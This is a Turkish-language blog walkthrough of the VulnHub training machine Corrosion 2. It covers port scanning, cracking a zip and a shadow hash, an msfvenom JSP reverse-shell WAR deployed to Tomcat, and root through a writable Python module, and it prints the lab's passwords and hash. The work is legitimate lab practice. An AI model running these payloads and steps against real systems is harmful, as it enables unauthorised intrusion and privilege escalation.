Corrosion-2

Bu, Corrosion 2 makinesi üzerinde gerçekleştirdiğim sızma testi raporudur.

author image

Written by

Furkan İbiş

Published on

Mar 3

Corrosion-2

Corrision 2 Nedir?

Esenlikler,

Corrosion 2, benim gibi sızma testlerini öğrenmek ve bu alanda kendini geliştirmek isteyenler için VulnHub platformunda yayınlanmış, çeşitli zafiyetler barındıran bir sistemdir.

Sistemi indirmek için Corrosion: 2 bağlantısını kullanabilirsiniz.

Gerekli kurulum işlemlerini tamamladıktan sonra, hedef sistemimizle ilgili sızma testi aşamalarına geçebilirsiniz.

Keşif

İlk olarak, hedefin IP adresini ve çalıştırdığı servisler gibi temel bilgileri elde etmeye çalışacağız. Bu aşamada, nmap aracını kullanarak öncelikle bulunduğum IP bloğunu tarayacak ve tespit ettiğim sistem üzerinde bir port taraması gerçekleştireceğim.

Bu port taraması, hedef sistemde çalışan servisleri ve bunların hangi versiyonlarının kullanıldığını analiz edecek. Elde edilen bilgilere göre sızma testinin sonraki adımlarını belirleyeceğim.

nmap -sP 172.16.13.0/24

Hedef sistemin IP adresini tespit ettik. Şimdi bu sistemde hangi servislerin çalıştığını anlamak için bir TCP SYN ve versiyon taraması gerçekleştireceğim.

sudo nmap -sT -sV 172.16.13.137 -p- -O

Görüldüğü gibi hedef sistem bir Linux cihazı ve Tomcat, Apache ve SSH gibi servisleri çalıştırıyor.

Hedef sistemin sağladığı Apache ve Tomcat sayfalarını kontrol ediyorum. Ancak karşıma varsayılan olarak oluşturulmuş ve öylece bırakılmış sayfalar çıkıyor. Bu noktada, bu servislerle ilgili bir web içerik taraması yapmak için dirb aracını kullanmak istiyorum.

Hedef sistemin HTTP servisine yönelik gerçekleştirdiğim dirb taramasında herhangi bir sonuç elde edemedim. Ancak, Tomcat servisine yönelik yaptığım taramada backup.zip dosyasına ulaştım.

dirb http://172.16.13.137 -X .php,.zip

Ayrıca, dosya taramasından ziyade alt sayfalara yönelik gerçekleştirdiğim taramada /manager ve /host-manager sayfasına erişim sağlayabileceğimi tespit ettim.

dirb http://172.16.13.137:8080

Manager sayfası bizden bir kullanıcı adı ve parola istiyor, ancak şu an elimizde bu bilgiler yok. Öte yandan, host_manager sayfasında ise şu bilgilere erişim sağlayabiliyoruz.

Tahminime göre, bu bilgiler hedef sistemdeki Tomcat kullanıcısına ve onun parolasına ait. Bunları kullanarak SSH bağlantısı oluşturup oluşturamayacağımı kontrol ediyorum.

Oluşturamadık...

ZIP'e Geri Dönmek

Hedef sistemde backup.zip dosyasını bulmuştum, ancak henüz içeriğini incelemedim. Bu dosyanın içinde hedef sistemdeki kullanıcılarla ilgili bilgilerin bulunabileceğini düşünüyorum.

curl http://172.16.13.137:8080/backup.zip --output backup.zip

Ancak, beklendiği gibi zip dosyası parolalı. Bu yüzden şifreyi kırmam gerekiyor. Bunun için fcrackzip aracını kullanarak deneme yapacağım.

fcrackzip -b -D -p /usr/share/wordlists/rockyou.txt backup.zip

Kısa bir bekleme süresinin ardından aracımız parolayı başarıyla tespit ediyor.

Parolayı kullanarak çeşitli dosyalara erişiyoruz, ancak benim en çok dikkatimi tomcat-users.xml dosyası çekiyor. İçerisinde kullanıcılarla ilgili bilgiler olabileceğini düşünüyorum.

Bu dosyanın içeriğinde "username" kelimesini aratarak hangi kullanıcıların tanımlı olduğunu görmek için aşağıdaki komutu çalıştırıyorum:

cat tomcat-users.xml | grep username

Beklediğim gibi, hedef sistemde manager ve admin kullanıcılarına ait bilgileri ediniyorum.

Ancak burada dikkat edilmesi gereken nokta, bu kullanıcıların Tomcat servisine ait olmasıdır; doğrudan hedef sistemin kullanıcıları değillerdir.

Manager kullanıcısının ile Tomcat hesabına giriş yapıyoruz.

Tomcat ve Reverse

Şimdi, içinde payload bulunan bir WAR dosyası oluşturacağız. Bu dosyayı Tomcat’e deploy ettikten sonra, dosyaya istek gönderdiğimizde dinlediğimiz porta bir reverse shell bağlantısı açılacak.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=172.16.13.135 LPORT=5555 -f war -o reverse.war

Tomcat'e reverse shell dosyasını yükledikten sonra 5555 portunu dinlemeye aldık ve Tomcat üzerinden reverse path'ine eriştik. Böylece yüklediğimiz payload çalıştı ve başarılı bir şekilde reverse shell bağlantısı aldık.

Hedef Sistemdeyiz

Burada Tomcat kullanıcısı olarak giriş yapmış bulunuyoruz. Sistemde başka hangi kullanıcıların olduğunu öğrenmek için /etc/passwd dosyasını okuyabiliriz. Ancak mevcut terminal oldukça kısıtlı; örneğin, silme işlemini bile gerçekleştiremiyoruz. Bu yüzden aşağıdaki komutu kullanarak kendimize daha işlevsel bir terminal açıyoruz.

python3 -c 'import pty;pty.spawn("/bin/bash")'

Bu kod sayesinde daha işlevsel bir terminal açabiliyoruz. Ancak, benim karşılaştığım bir hata nedeniyle bastığım her tuş iki kez yazılıyordu. Bu yüzden eski terminale geri dönmek zorunda kaldım.

Kullanıcıları görmek için öncelikle /home klasörüne giriyorum. Burada jaye ve randy adında iki kullanıcı olduğunu fark ediyorum.

Jaye kullanıcısının home klasöründe herhangi bir dosya bulunmuyor. Ancak randy kullanıcısının klasöründe aşağıdaki dosyalar yer alıyor.

user.txt dosyasının içinde muhtemelen hashlenmiş bir değer bulunuyor. note.txt dosyasında ise sistem yöneticisinin, Randy'nin home klasöründeki yetkilerini değiştirdiği ve bu süre boyunca Randy'nin dosya oluşturup silemeyeceği belirtiliyor. Ayrıca randombase64.py dosyası da mevcut ve bunun yetki yükseltme (privilege escalation) için kullanılabileceğini düşünüyorum. Ancak önce tomcat kullanıcısından farklı bir kullanıcıya geçmem gerekiyor, çünkü tomcat kullanıcısının sistemde yetkileri oldukça kısıtlı.

Başka Bir Kullanıcıya Geçmek

Bu noktada, Jaye kullanıcısının parolasının melehifokivai olduğunu fark ediyorum. Bu bilgiyi kullanarak SSH üzerinden oturum açabilir ve PTY kullanarak daha interaktif bir terminal oluşturabilirim.

python3 -c "import pty;pty.spawn('/bin/bash')"

Jaye kullanıcısının home klasöründe files adında bir klasör bulunuyor. İçeriğine baktığımda, look adında çalıştırılabilir bir dosya olduğunu görüyorum. Bu dosya aslında doğrudan look komutunun kendisi gibi görünüyor. Şu an için ne işe yaradığını veya neden kullanacağımı bilmiyorum, ancak sistemde biraz daha gezinerek ipuçları aramaya devam ediyorum.

Bu noktada, sistem içinde olabildiğince fazla bilgi toplamaya çalışıyorum. Backup dosyaları, gizlenmiş notlar veya başka ipuçları olup olmadığını anlamak için sistemde sürekli olarak geziniyorum. Ancak ilginç bir durumla karşılaşıyorum: Jaye kullanıcısı doğrudan /etc/shadow dosyasını okuyamıyor ve look komutunu kullanarak da bu işlemi gerçekleştiremiyoruz.

Fakat look dosyasını farklı bir şekilde kullanarak bu işlemi gerçekleştirebileceğimi düşünüyorum. Planım, look dosyasını /etc/shadow dosyasını okuyacak şekilde kullanarak, sistemdeki diğer kullanıcı olan Randy'nin parolasını elde etmek.

Randy'nin Parolası

Şimdi, Randy kullanıcısına ait parola ile ilgili elde ettiğimiz bilgiler şunlar:

  • Kullanıcı: Randy
  • Hash Formatı: 6 (SHA-512)
  • Salt: bQ8rY/73PoUA4lFX
  • Parola Hash'i: i/aKxdkuh5hF8D78k50BZ4eInDWklwQgmmpakv/gsuzTodngjB340R1wXQ8qWhY2cyMwi.61HJ36qXGvFHJGY/

Bu bilgileri kullanarak John the Ripper aracıyla parola kırma işlemi gerçekleştireceğiz:

john --wordlist=/usr/share/wordlists/rockyou.txt --format=sha512crypt hash.txt

Uzun bir bekleme süresinin ardından parolanın 07051986randy olduğunu tespit ediyorum. Hemen Randy hesabına geçiş yaparak yetkilerini kontrol ediyorum.

Randy kullanıcısının, kendi home dizininde bulunan randombase64 dosyasını ve Python 3.8'i parolasız bir şekilde root yetkileriyle çalıştırabildiğini görüyorum. Ancak, randombase64.py dosyası root kullanıcısına ait olduğu için doğrudan düzenleyemiyorum. Bu noktada, yetki yükseltme (privilege escalation) için farklı bir yöntem kullanmam gerekiyor.

Yetki Yükseltme ve Root Olmak

Bu noktada, randombase64 dosyasının base64 modülünü kullandığını fark ediyorum. Bu yüzden Randy kullanıcısı olarak base64.py dosyasını değiştirebilir miyim diye kontrol ediyorum.

Öncelikle base64.py dosyasının konumunu bulup yetkilerini inceliyorum. Tüm kullanıcıların yazma yetkisine sahip olduğunu görüyorum, yani dosya üzerinde değişiklik yapabilirim.

Burada base64.py dosyasına aşağıdaki kodları ekleyerek, modül çağrıldığında sistemin bir bash terminal oturumu açmasını sağlayacağım.

import os
os.system('/bin/bash')

Ardından randombase64.py dosyasını çalıştırıyorum. Bu sayede, işlem root yetkileriyle gerçekleştiği için base64.py içine eklediğim kod tarafından açılan yeni terminal oturumu root yetkisine sahip olacak.

Sızma testinin son aşamasında root kullanıcısının dizinine giderek son flag dosyasını elde ediyoruz.

Teşekkür Ederim

Buraya kadar okuduysanız gerçekten teşekkür ederim. Bir sonraki yazımda görüşmek üzere, kendinize iyi bakın. Esenlikler dilerim!